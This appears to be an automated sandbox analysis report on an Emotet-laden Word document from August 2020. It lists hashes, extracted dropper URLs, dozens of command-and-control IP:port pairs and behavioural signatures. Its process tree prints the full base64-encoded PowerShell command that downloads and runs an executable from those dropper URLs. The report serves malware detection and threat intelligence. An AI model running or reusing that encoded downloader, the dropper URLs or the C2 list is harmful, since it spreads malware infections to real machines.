Analysis
- max time kernel
141s - max time network
137s - platform
windows10_x64 - resource
win10v200722 - submitted
17/08/2020, 16:34
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e3_a67cf0d9b60d28e85c6e638246fd2a571eeb1d611905b836074de32b310cb36d_2020-08-17__163335._doc.doc
Resource
win7
General
- Target emotet_e3_a67cf0d9b60d28e85c6e638246fd2a571eeb1d611905b836074de32b310cb36d_2020-08-17__163335._doc.doc
- Size 232KB
- Sample200817-vsz3kd769a
- SHA256 a67cf0d9b60d28e85c6e638246fd2a571eeb1d611905b836074de32b310cb36d
- MD5 101ca0e6740e8c8fe55230fa49ce5fcd
- SHA1 ba8d92a8505f61f75700349c63e47c55397e595b
- SHA512 6ecfee733d0136b157c602ac530512342962583df36af2b76afc61772fe4a01e9df3cfcf30b3627f00b575b5d807f9372cfc967341126b6ce41dd9b726f2e979
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://muliarental.com/f9u8w-mrs-88/VWVA/
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exe.dropper
https://dev.dosily.in/wp-content/qyY/
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exe.dropper
http://behnasan.com/wp-content/uZRqx/
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exe.dropper
http://www.leframe.com/zcMv/tATDYnJy/
-
exe.dropper
http://runderfulthailand.com/jkats/LvJDvtg8270/
Extracted
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emotet
-
186.109.104.67:80
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185.86.148.68:443
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139.99.157.213:8080
-
105.213.67.88:80
-
190.53.144.120:80
-
203.153.216.182:7080
-
81.214.253.80:443
-
195.201.56.70:8080
-
201.213.177.139:80
-
31.146.61.34:80
-
177.144.130.105:443
-
92.24.51.238:80
-
197.83.232.19:80
-
105.209.235.113:8080
-
188.0.135.237:80
-
176.9.93.82:7080
-
190.164.75.175:80
-
188.251.213.180:443
-
87.106.231.60:8080
-
113.161.148.81:80
-
97.104.107.190:80
-
86.57.216.23:80
-
192.163.221.191:8080
-
115.79.195.246:80
-
5.79.70.250:8080
-
41.84.237.198:443
-
46.105.131.68:8080
-
77.74.78.80:443
-
105.184.233.166:80
-
91.83.93.103:443
-
187.64.128.197:80
-
185.208.226.142:8080
-
177.32.8.85:80
-
46.32.229.152:8080
-
177.37.81.212:443
-
66.61.94.36:80
-
190.212.140.6:80
-
212.112.113.235:80
-
190.190.15.20:80
-
75.127.14.170:8080
-
172.96.190.154:8080
-
192.241.220.183:8080
-
41.185.29.128:8080
-
182.176.95.147:80
-
37.46.129.215:8080
-
181.134.9.162:80
-
201.235.10.215:80
-
181.113.229.139:443
-
181.114.114.203:80
-
179.5.118.12:80
-
178.33.167.120:8080
-
198.57.203.63:8080
-
185.142.236.163:443
-
71.57.180.213:80
-
115.78.11.155:80
-
217.199.160.224:8080
-
172.105.78.244:8080
-
115.165.3.213:80
-
202.5.47.71:80
-
81.17.93.134:80
-
74.208.173.91:8080
-
192.210.217.94:8080
-
179.62.238.49:80
-
157.7.164.178:8081
-
143.95.101.72:8080
-
182.187.139.200:8080
-
216.75.37.196:8080
-
139.59.12.63:8080
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203.153.216.178:7080
-
50.116.78.109:8080
-
51.38.201.19:7080
-
107.161.30.122:8080
-
177.94.227.143:80
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78.189.60.109:443
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2648 644 powersheLL.exe 66 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3888-15-0x0000000002280000-0x000000000228C000-memory.dmp emotet behavioral2/memory/3888-15-0x0000000002280000-0x000000000228C000-memory.dmp emotet behavioral2/memory/3172-18-0x00000000020D0000-0x00000000020DC000-memory.dmp emotet behavioral2/memory/3172-18-0x00000000020D0000-0x00000000020DC000-memory.dmp emotet - Blacklisted process makes network request 3 IoCs
flow pid Process 17 2648 powersheLL.exe 19 2648 powersheLL.exe 21 2648 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3888 Ycfq.exe 3172 wmpeffects.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\nlhtml\wmpeffects.exe Ycfq.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3952 WINWORD.EXE 3952 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 2648 powersheLL.exe 2648 powersheLL.exe 2648 powersheLL.exe 3172 wmpeffects.exe 3172 wmpeffects.exe 3172 wmpeffects.exe 3172 wmpeffects.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2648 powersheLL.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3952 WINWORD.EXE 3888 Ycfq.exe 3888 Ycfq.exe 3172 wmpeffects.exe 3172 wmpeffects.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2648 wrote to memory of 3888 2648 powersheLL.exe 74 PID 2648 wrote to memory of 3888 2648 powersheLL.exe 74 PID 2648 wrote to memory of 3888 2648 powersheLL.exe 74 PID 3888 wrote to memory of 3172 3888 Ycfq.exe 77 PID 3888 wrote to memory of 3172 3888 Ycfq.exe 77 PID 3888 wrote to memory of 3172 3888 Ycfq.exe 77
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_a67cf0d9b60d28e85c6e638246fd2a571eeb1d611905b836074de32b310cb36d_2020-08-17__163335._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3952
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABKAGUAYQBlADkAaQB0AD0AJwBVAHEAXwB4AHYAdgBuACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAEMAdQBgAFIAaQB0AFkAcABSAGAAbwBUAE8AQwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABJAGUAcAA2AGoANQBtACAAPQAgACcAWQBjAGYAcQAnADsAJABYAF8AbABzAGcAZgB6AD0AJwBaAHkAMQA2ADEAeAAzACcAOwAkAEsAbQBrADMAcABvAGgAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABJAGUAcAA2AGoANQBtACsAJwAuAGUAeABlACcAOwAkAEwAdQBmAGcANQBqAGEAPQAnAEsAdQB0ADIAMwByADMAJwA7ACQASwAzAGwAYgAzAGgAMwA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBFAHQALgBXAGUAQgBDAEwAaQBFAG4AVAA7ACQAWABvAGoAYQB6AG8AdAA9ACcAaAB0AHQAcAA6AC8ALwBtAHUAbABpAGEAcgBlAG4AdABhAGwALgBjAG8AbQAvAGYAOQB1ADgAdwAtAG0AcgBzAC0AOAA4AC8AVgBXAFYAQQAvACoAaAB0AHQAcABzADoALwAvAGQAZQB2AC4AZABvAHMAaQBsAHkALgBpAG4ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AcQB5AFkALwAqAGgAdAB0AHAAOgAvAC8AYgBlAGgAbgBhAHMAYQBuAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdQBaAFIAcQB4AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbABlAGYAcgBhAG0AZQAuAGMAbwBtAC8AegBjAE0AdgAvAHQAQQBUAEQAWQBuAEoAeQAvACoAaAB0AHQAcAA6AC8ALwByAHUAbgBkAGUAcgBmAHUAbAB0AGgAYQBpAGwAYQBuAGQALgBjAG8AbQAvAGoAawBhAHQAcwAvAEwAdgBKAEQAdgB0AGcAOAAyADcAMAAvACcALgAiAHMAcABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARQA4AGcAbwA1AHMAOQA9ACcATwBfAGIAZQAyAGYAOQAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBiADIAZgBpAHIAegAgAGkAbgAgACQAWABvAGoAYQB6AG8AdAApAHsAdAByAHkAewAkAEsAMwBsAGIAMwBoADMALgAiAGQATwB3AG4AbABgAE8AYABBAEQAZgBgAGkATABlACIAKAAkAFIAYgAyAGYAaQByAHoALAAgACQASwBtAGsAMwBwAG8AaAApADsAJABWAGoAcwB0AGMAcgB3AD0AJwBaAG0AYwB4AHgAOQAzACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQASwBtAGsAMwBwAG8AaAApAC4AIgBMAGAAZQBOAEcAYABUAGgAIgAgAC0AZwBlACAAMgA5ADkANAA5ACkAIAB7ACYAKAAnAEkAJwArACcAbgAnACsAJwB2AG8AawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAEsAbQBrADMAcABvAGgAKQA7ACQAUgB4ADUAcgBvAGsAMAA9ACcASgB4ADUAaQA4AGkAawAnADsAYgByAGUAYQBrADsAJABQADkAdABfAGkAMAAyAD0AJwBOAHAAcgBwAGwAZgB3ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AaABjAHMAZAByAHAAPQAnAE8AOAAxADUANABwAGQAJwA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2648 -
C:\Users\Admin\AppData\Local\Temp\Ycfq.exe"C:\Users\Admin\AppData\Local\Temp\Ycfq.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3888 -
C:\Windows\SysWOW64\nlhtml\wmpeffects.exe"C:\Windows\SysWOW64\nlhtml\wmpeffects.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3172
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